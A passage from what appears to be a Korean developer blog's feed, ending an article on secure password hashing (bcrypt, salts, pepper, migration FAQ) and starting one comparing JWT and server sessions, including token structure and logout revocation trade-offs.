    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;BCryptPasswordEncoder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Node.js — bcrypt&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; bcrypt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;password&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ok &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; bcrypt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;compare&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; hash&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 직접 비교하지 말 것&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;compare&lt;/code&gt; 같은 전용 함수를 쓰는 이유가 있습니다. 문자열을 &lt;code class=&quot;language-text&quot;&gt;===&lt;/code&gt; 로 비교하면 &lt;strong&gt;앞에서 몇 글자가 맞았는지에 따라 걸리는 시간이 미세하게 다릅니다.&lt;/strong&gt; 그 차이를 측정해 한 글자씩 알아내는 공격이 있어서, 라이브러리는 항상 같은 시간이 걸리도록 비교합니다.&lt;/p&gt;
&lt;h2&gt;페퍼 — 한 겹 더&lt;/h2&gt;
&lt;p&gt;솔트가 DB에 함께 저장된다는 게 마음에 걸린다면, &lt;strong&gt;페퍼&lt;/strong&gt;라는 선택지가 있습니다. 전 사용자에게 공통으로 쓰는 비밀값을 하나 더 섞는데, 이건 &lt;strong&gt;DB가 아니라 애플리케이션 설정이나 KMS에 둡니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DB만 유출됐을 때 공격자는 페퍼를 모르므로 대입 공격 자체를 시작할 수 없습니다.&lt;/p&gt;
&lt;p&gt;다만 필수는 아닙니다. 페퍼를 잃어버리면 &lt;strong&gt;모든 사용자가 로그인할 수 없게 되고&lt;/strong&gt;, 교체하려면 전원 재설정이 필요합니다. 키 관리 체계가 갖춰진 조직이 아니라면 득보다 실이 클 수 있습니다.&lt;/p&gt;
&lt;h2&gt;실무에서 자주 틀리는 것&lt;/h2&gt;
&lt;p&gt;알고리즘을 제대로 골라도 주변에서 새는 경우가 많습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;로그에 평문이 찍힙니다.&lt;/strong&gt; 요청 본문을 통째로 로깅하면 가입·로그인 요청에 비밀번호가 그대로 남습니다. 정작 DB는 잘 지켜놓고 로그 파일로 유출되는 사례가 흔합니다. 마스킹 대상에 반드시 넣으세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;최대 길이를 짧게 막습니다.&lt;/strong&gt; 해시 결과는 입력 길이와 무관하게 고정 길이라, 비밀번호가 길다고 DB가 커지지 않습니다. 짧은 상한은 보안을 낮추기만 합니다. 다만 bcrypt는 &lt;strong&gt;72바이트를 넘으면 뒤를 버리므로&lt;/strong&gt;, 그 이상을 허용하려면 Argon2id를 쓰거나 사전 처리 방식을 따로 정해야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;로그인 실패 메시지가 힌트를 줍니다.&lt;/strong&gt; &quot;존재하지 않는 아이디&quot;와 &quot;비밀번호가 틀렸습니다&quot;를 구분해 보여주면, 공격자가 &lt;strong&gt;가입된 아이디 목록을 먼저 수집할 수 있습니다.&lt;/strong&gt; 둘 다 &quot;아이디 또는 비밀번호가 올바르지 않습니다&quot;로 통일하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;해시만 믿고 나머지를 안 합니다.&lt;/strong&gt; 해시는 유출됐을 때의 피해를 줄이는 장치이지, 뚫리는 걸 막는 장치가 아닙니다. 비밀번호 자체가 &lt;code class=&quot;language-text&quot;&gt;123456&lt;/code&gt;이면 어떤 알고리즘도 소용없습니다. 이미 유출된 적 있는 비밀번호를 가입 시점에 걸러내고, 다중 인증을 함께 두는 쪽이 실질적인 방어입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;저장은 이 글의 이야기지만, 전달은 다른 이야기입니다.&lt;/strong&gt; 비밀번호가 서버까지 가는 구간은 &lt;a href=&quot;/https-handshake/&quot;&gt;HTTPS 핸드셰이크&lt;/a&gt;가 지키고, 로그인 이후의 상태 유지는 &lt;a href=&quot;/jwt-vs-session/&quot;&gt;JWT와 세션&lt;/a&gt;의 영역입니다. 셋은 각각 다른 지점을 맡습니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;비밀번호를 암호화해서 저장하면 안 되나요?&lt;/h3&gt;
&lt;p&gt;안 됩니다. 암호화는 되돌릴 수 있다는 뜻이고, 그 말은 &lt;strong&gt;키를 가진 사람은 전 사용자의 비밀번호를 볼 수 있다&lt;/strong&gt;는 뜻입니다. 내부자든 침입자든 키만 얻으면 됩니다. 비밀번호는 서비스도 몰라야 하는 값이라, 되돌릴 수 없는 해시가 맞습니다.&lt;/p&gt;
&lt;h3&gt;솔트를 DB에 같이 저장하면 의미가 없지 않나요?&lt;/h3&gt;
&lt;p&gt;의미가 있습니다. 솔트의 목적은 숨기는 게 아니라 &lt;strong&gt;미리 계산해 둘 수 없게 만드는 것&lt;/strong&gt;입니다. 공격자가 솔트를 알아도, 사용자마다 다르기 때문에 사전을 사용자 수만큼 새로 만들어야 합니다. 그게 비현실적이라 방어가 성립합니다.&lt;/p&gt;
&lt;h3&gt;SHA-256에 솔트를 붙이면 되지 않나요?&lt;/h3&gt;
&lt;p&gt;레인보우 테이블은 막지만 대입 공격은 못 막습니다. SHA-256은 너무 빨라서, 솔트가 있어도 흔한 비밀번호부터 차례로 넣어보는 공격이 여전히 유효합니다. 비밀번호에는 &lt;strong&gt;일부러 느린&lt;/strong&gt; 알고리즘이 필요합니다.&lt;/p&gt;
&lt;h3&gt;이미 SHA-256으로 저장해 둔 게 있는데 어떻게 옮기나요?&lt;/h3&gt;
&lt;p&gt;원문을 모르니 한 번에 변환할 수는 없습니다. 두 가지 방법이 있습니다. &lt;strong&gt;로그인할 때 옮기는 방법&lt;/strong&gt; — 검증에 성공한 순간에만 원문을 알 수 있으니, 그때 새 알고리즘으로 다시 해시해 덮어씁니다. 안 들어오는 계정은 오래 남습니다. &lt;strong&gt;감싸는 방법&lt;/strong&gt; — 기존 해시값을 입력으로 삼아 &lt;code class=&quot;language-text&quot;&gt;bcrypt(sha256(pw))&lt;/code&gt; 형태로 한 번 더 감싸면 전체를 즉시 옮길 수 있습니다. 다만 검증 로직이 그만큼 복잡해집니다.&lt;/p&gt;
&lt;h3&gt;비밀번호를 주기적으로 바꾸게 하는 게 좋나요?&lt;/h3&gt;
&lt;p&gt;지금은 권장되지 않습니다. 강제 주기 변경은 사용자가 &lt;code class=&quot;language-text&quot;&gt;pass01&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;pass02&lt;/code&gt; 식으로 규칙적인 변형을 쓰게 만들어 오히려 예측하기 쉬워집니다. &lt;strong&gt;유출 정황이 있을 때 바꾸게 하는 쪽&lt;/strong&gt;이 현재 권고입니다.&lt;/p&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;비밀번호는 &lt;strong&gt;암호화가 아니라 해시&lt;/strong&gt;로 저장합니다. 되돌릴 수 없어야 하니까요&lt;/li&gt;
&lt;li&gt;검증은 원문끼리가 아니라 &lt;strong&gt;해시끼리&lt;/strong&gt; 비교합니다. 그래서 서비스가 원문을 몰라도 로그인이 됩니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;솔트&lt;/strong&gt;로 사용자마다 결과를 다르게 만들어, 미리 만든 사전을 무력화합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;일부러 느린 알고리즘&lt;/strong&gt;(Argon2id·bcrypt)을 씁니다. 빠른 SHA-256은 여기서 약점입니다&lt;/li&gt;
&lt;li&gt;파라미터는 문서 숫자보다 &lt;strong&gt;내 서버에서 0.2~0.5초가 걸리도록&lt;/strong&gt; 맞추는 게 실용적입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&quot;비밀번호 찾기&quot;가 없고 &quot;재설정&quot;만 있는 서비스는 불친절한 게 아닙니다. &lt;strong&gt;제대로 만든 서비스라는 신호입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html&quot;&gt;OWASP Password Storage Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pages.nist.gov/800-63-3/sp800-63b.html&quot;&gt;NIST SP 800-63B — Digital Identity Guidelines&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9106&quot;&gt;RFC 9106 — Argon2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[JWT vs 세션 — 서버가 기억하느냐, 토큰이 들고 다니느냐]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 로그아웃 버튼을 눌렀습니다.
그런데 아까 그 토큰으로 API를 호출하니 아직 됩니다. 로그아웃이 안 된 건가요? 로그아웃은 됐습니다. 토큰이 안 죽었을 뿐입니다. 결론부터 말씀드리면 — 세션과 JWT…]]></description><link>https://blog.javapark.kr/jwt-vs-session/</link><guid isPermaLink="false">https://blog.javapark.kr/jwt-vs-session/</guid><pubDate>Fri, 21 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/9deac1f896f5f8eb1f323d5aec5c8e36/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACH0lEQVR42k2Sa2/aMBiFs0qFkosdXxInTuIkTsItgUKBAL2AgLbaaNWp07qtq7S/0A/7JZu0/zujbdKkI+t88COf9/XRWicIQ85ZYQNfeUMnpkHVqbewrmMbcEaLyB/mYtHLN6fd/bR6VFKml200BbhQSn8GDN5sWI1jcHSkNxvQUHCL2CBgtC34qIiXVXE9rd5fjJ/Px18n5UOZ77TGsTWvr15fv7+8fEOY39zsf/74tV7dvtFaKgK0OCOHl9vJRZltFT/q3o17d8PO236+1Swdri83nz5+qSfbqtzUs9v9uw9p0lMRVHhgeg7OArdMkkkYnybxsmzv8ug8jead9EojwN6stp+fnh6vL5/v73fLhU9h49hQ4yiZuoNt4dNOJPpBUsm8zmQtw7NMTKWotYCgSVVdzWe7eTLpOYthOCkzl0YYhWpnircMhqFIeC68DkMxczKHZr6bC3+opQwNpJz2h924U8oq9rPQS7O4x5xEyTJdgkKf5YmXST+XfqEwz5HczdQvaAWHF+X4YXW/6I9Wo/W4GMlIFmmf2L4Iu8QOuVckoiRYAItjFDtYKlGUIBBqgxhVAnQDoxvC3AMJgwGxKYAYoFYTqNgnTbUCqB8qQE3DsUxmGq6pH7qgnUlUt2nddkeS9AUuOI4Z5oRQhZuHqqhLfzvzT8BSPFVGqwu0HvDVMJoVThWjToBThgOKHVvB+H/mj4wWoTiyoa/8bzteUHvqMk2PAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/9deac1f896f5f8eb1f323d5aec5c8e36/a1b3b/thumbnail.webp 215w,
/static/9deac1f896f5f8eb1f323d5aec5c8e36/fc700/thumbnail.webp 430w,
/static/9deac1f896f5f8eb1f323d5aec5c8e36/521f7/thumbnail.webp 860w,
/static/9deac1f896f5f8eb1f323d5aec5c8e36/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/9deac1f896f5f8eb1f323d5aec5c8e36/f7886/thumbnail.png 215w,
/static/9deac1f896f5f8eb1f323d5aec5c8e36/bc750/thumbnail.png 430w,
/static/9deac1f896f5f8eb1f323d5aec5c8e36/3e3fe/thumbnail.png 860w,
/static/9deac1f896f5f8eb1f323d5aec5c8e36/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/9deac1f896f5f8eb1f323d5aec5c8e36/3e3fe/thumbnail.png&apos; alt=&apos;JWT와 세션 비교 커버 — 서버가 상태를 들고 있는 방식과 토큰이 정보를 들고 다니는 방식의 구조 차이&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;JWT와 세션 비교 커버 — 서버가 상태를 들고 있는 방식과 토큰이 정보를 들고 다니는 방식의 구조 차이&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;로그아웃 버튼을 눌렀습니다.
그런데 아까 그 토큰으로 API를 호출하니 &lt;strong&gt;아직 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;로그아웃이 안 된 건가요?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;로그아웃은 됐습니다. &lt;strong&gt;토큰이 안 죽었을 뿐입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 세션과 JWT의 차이는 딱 하나입니다. &lt;strong&gt;로그인 상태를 서버가 기억하느냐, 토큰이 들고 다니느냐.&lt;/strong&gt; 나머지 차이는 전부 여기서 파생됩니다. 위 현상도 그 파생물 중 하나고요.&lt;/p&gt;
&lt;p&gt;로그아웃 이후에도 토큰이 통과하는 순간을 눈으로 보고 싶으시면 &lt;strong&gt;51초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 서버가 기억할 때와 토큰이 들고 다닐 때가 어떻게 갈리는지 같은 화면에서 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/lQFG9DMddCM&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 111.62790697674419%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAIAAABPIytRAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD60lEQVR42i2UWW/bRhSFCRSxxWX2ubNyESlKEbUrluUFTQvHWeDatRHETtI4W40UzUv//2tHaQcfCJLAmTk854JRkqos0yizGDnO6gCjlWR9guth1Xy66L9/WQXePi/+fre5v2huz+ybM/vhpT2eqShNIEs1zgxJrSCloBUnpWQVxfXjqv52VX25KL9cFJ9e+X8+HHy96t+/0B9emK+/6Z8XEKUkT5FB2BPeUNEyGAk9lqaTZhZQNjBVtgMzZqLmMKCyRrwIxMhGdHgMR9ewveaDI14sRbUR9RbqI9Wc6MGJCjTHst6K/qGsNqxYynpjRsfQbpEZRaTZ8MW5WJzTcs1Mx92S5ytZrKE4gHID5QEUT8Kj8Cvu5sRMRLHU9RPRX2V6GKWszGiBWElgxHTHTcfslPuFyJe7jdxS+CVzcx5e6o7pMVFDFJxDk2Ibxfs8SSBNFEoMSixDzpHcIm9S50npSKlT53BuSE6QI8jgUE0KScLTHot6sUjinThkHid2KvtvR8s/licPp89vH6/vuoOHk/P3s8PrZqKpw9hgrAnSEqmgj/ZiHgd9KCxRvUSvZXU7nN8tTj9uz27nx3fLk8+n528Xh6+bzrMgVgTDTdFMhN1PWLTXY72YJ7EMhfdiCIHcuOYyH10W45tmftPMfq+667K9LBvDDMGKYai4olhkGYt+ekQe7fO9ntzvwX4cztcKOcisypxGzmDriPPUWRq+VhEEBMk05SihWUIiQhhCQnIAoZTUShqQRv640aANaKu00yo3qjAq19IrlgeASIqjcS2frlXlZW5V6U2g8qbvTZ2bJteDXLcFDAOlHBaia9xq0k6HxWLkB55FkyH8utGll96q3JnC79jpc9141eQwyGWbiyBuC94N7GrSTB/71SQfViwCAMKF0qB2LpUxOmCN9lYXwYuFQGVF34na8dqz2pEmp21Bc82imLhMVAkrU1btI7uXmT1kwrWHdIJ1iiDDEmGOMQ/pUMI5E4JzyaXkIqKqNtWM2Za5IVF9LKv/oFBQyDl4AQ7AggrBGb1zZsNy1iopo5jnmapjXvRYEYtAnjAfSLlD3GJuCNeUAwuHCRBCSgH/L8EjTHSKdRbMExdmvZfIXsLjJJQpUOgzpjRlJCEsycJYKEI1pSbAKDAanboQRN7Iqi/KVjfb2eZwerBqZ+t2uqrHR91i3R9uR5PNoH1S9zsFYy7GQkyFqBiPfvG1Zr4vK0/9fDD//O7Lw6dv97f3by5fXz27+P7nXxdPn33//PDx9d312bPO6JazkeBjKSrKokWog/lClAEfhicDlYJFKuAxuPTHLydjJaIVZjUVDd8x5MJi+i+UzJTCJk5+zgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/85438c6a9048ffa6ddfc3981b57dc1cd/a1b3b/video-thumb.webp 215w,
/static/85438c6a9048ffa6ddfc3981b57dc1cd/fc700/video-thumb.webp 430w,
/static/85438c6a9048ffa6ddfc3981b57dc1cd/521f7/video-thumb.webp 860w,
/static/85438c6a9048ffa6ddfc3981b57dc1cd/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/85438c6a9048ffa6ddfc3981b57dc1cd/f7886/video-thumb.png 215w,
/static/85438c6a9048ffa6ddfc3981b57dc1cd/bc750/video-thumb.png 430w,
/static/85438c6a9048ffa6ddfc3981b57dc1cd/3e3fe/video-thumb.png 860w,
/static/85438c6a9048ffa6ddfc3981b57dc1cd/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/85438c6a9048ffa6ddfc3981b57dc1cd/3e3fe/video-thumb.png&apos; alt=&apos;JWT vs 세션 영상 — 로그아웃해도 토큰은 만료까지 통과한다&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;JWT vs 세션 영상 — 로그아웃해도 토큰은 만료까지 통과한다&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;세션 — 서버가 기억한다&lt;/h2&gt;
&lt;p&gt;로그인에 성공하면 서버가 &lt;strong&gt;자기 쪽에 기록을 만듭니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 로그인 성공
2. 서버: 저장소에 { abc123 → 사용자 7번, 만료 30분 } 기록
3. 브라우저에 쿠키로 abc123 만 내려줌
4. 이후 요청마다 브라우저가 abc123 을 보냄
5. 서버: 저장소에서 abc123 을 찾아 &quot;7번이구나&quot; 확인&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;쿠키에는 &lt;strong&gt;의미 없는 문자열 하나&lt;/strong&gt;만 들어갑니다. 실제 정보는 전부 서버에 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;저장소가 서버 메모리면 &lt;strong&gt;서버를 재시작하면 전부 로그아웃&lt;/strong&gt;됩니다&lt;/li&gt;
&lt;li&gt;서버가 여러 대면 &lt;strong&gt;한 대에만 있는 기록을 다른 대가 모릅니다.&lt;/strong&gt; 그래서 Redis 같은 공용 저장소로 뺍니다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;JWT — 토큰이 들고 다닌다&lt;/h2&gt;
&lt;p&gt;로그인에 성공하면 서버가 &lt;strong&gt;정보를 담은 토큰을 만들어 서명해서&lt;/strong&gt; 넘깁니다. 서버는 아무것도 저장하지 않습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 로그인 성공
2. 서버: { 사용자 7번, 만료 시각 } 을 담아 서명한 토큰 생성
3. 브라우저에 토큰 자체를 내려줌
4. 이후 요청마다 브라우저가 토큰을 보냄
5. 서버: 서명만 검증. 조회할 곳이 없음&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;서버는 조회하지 않습니다.&lt;/strong&gt; 토큰에 이미 답이 들어 있고, 서명으로 &quot;이거 내가 만든 게 맞다&quot;만 확인하면 끝입니다. 그래서 서버를 늘려도 문제가 없습니다.&lt;/p&gt;
&lt;h3&gt;JWT는 세 조각입니다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;eyJhbGciOiJIUzI1NiJ9 . eyJzdWIiOiI3IiwiZXhwIjoxNzY1NDMyMTAwfQ . dQw4w9Wg...
   ①  header              ②  payload                            ③  signature&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;조각&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;header&lt;/td&gt;
&lt;td&gt;어떤 알고리즘으로 서명했는지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;사용자 식별자, 만료 시각 같은 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;signature&lt;/td&gt;
&lt;td&gt;앞의 둘을 서버 키로 서명한 값&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;가장 흔한 오해 — payload는 암호화가 아닙니다&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;base64로 인코딩됐을 뿐입니다.&lt;/strong&gt; 누구나 디코딩해서 읽을 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 두 번째 조각만 떼서 디코딩하면 그냥 보입니다&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;eyJzdWIiOiI3IiwiZXhwIjoxNzY1NDMyMTAwfQ&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; base64 &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# {&quot;sub&quot;:&quot;7&quot;,&quot;exp&quot;:1765432100}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서명이 지켜 주는 건 &lt;strong&gt;&quot;내용이 바뀌지 않았다&quot;&lt;/strong&gt;(무결성)이지 &lt;strong&gt;&quot;아무도 못 본다&quot;&lt;/strong&gt;(기밀성)가 아닙니다.&lt;/p&gt;
&lt;p&gt;그래서 &lt;strong&gt;payload에 민감한 정보를 넣으면 안 됩니다.&lt;/strong&gt; 주민번호, 전화번호, 권한 상세, 내부 ID 체계 같은 것들요. 넣어도 동작은 하니까 사고가 나기 전까지 모릅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;내용까지 가려야 한다면 JWE라는 별도 규격이 있습니다. 흔히 말하는 JWT는 JWS(서명만)입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;결정적 차이 — 로그아웃&lt;/h2&gt;
&lt;p&gt;여기서 도입부 질문의 답이 나옵니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;세션&lt;/th&gt;
&lt;th&gt;JWT&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;로그아웃&lt;/td&gt;
&lt;td&gt;저장소에서 지우면 &lt;strong&gt;즉시&lt;/strong&gt; 끝&lt;/td&gt;
&lt;td&gt;토큰은 &lt;strong&gt;만료까지 살아 있음&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;강제 차단&lt;/td&gt;
&lt;td&gt;해당 기록만 지우면 됨&lt;/td&gt;
&lt;td&gt;방법이 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;권한 변경&lt;/td&gt;
&lt;td&gt;다음 요청부터 반영&lt;/td&gt;
&lt;td&gt;토큰 재발급 전까지 옛 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;서버가 기억하지 않기로 했으니, 취소할 방법도 없는 겁니다.&lt;/strong&gt; 이건 JWT의 결함이 아니라 무상태를 선택한 대가입니다.&lt;/p&gt;
&lt;p&gt;그래서 실무에서는 이렇게 우회합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;하나, Access Token을 짧게 가져갑니다.&lt;/strong&gt; 15분쯤으로 두면 최악의 경우 15분만 뚫립니다. 대신 자주 재발급해야 하니 &lt;strong&gt;Refresh Token&lt;/strong&gt;을 같이 씁니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;둘, Refresh Token은 서버에 저장합니다.&lt;/strong&gt; 로그아웃하면 이걸 지웁니다. Access Token은 못 죽여도 재발급을 막으면 15분 뒤엔 끝납니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;셋, 급하면 블랙리스트를 둡니다.&lt;/strong&gt; 차단할 토큰 목록을 서버가 들고 확인합니다.&lt;/p&gt;
&lt;p&gt;눈치채셨을 텐데, &lt;strong&gt;둘과 셋은 결국 서버가 상태를 갖는 것&lt;/strong&gt;입니다. &quot;JWT는 무상태라 좋다&quot;는 말이 실무에서 반쯤만 맞는 이유가 이것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;어디에 저장하나&lt;/h2&gt;
&lt;p&gt;이건 JWT냐 세션이냐와 &lt;strong&gt;별개 문제&lt;/strong&gt;인데 자주 섞여서 이야기됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;저장 위치&lt;/th&gt;
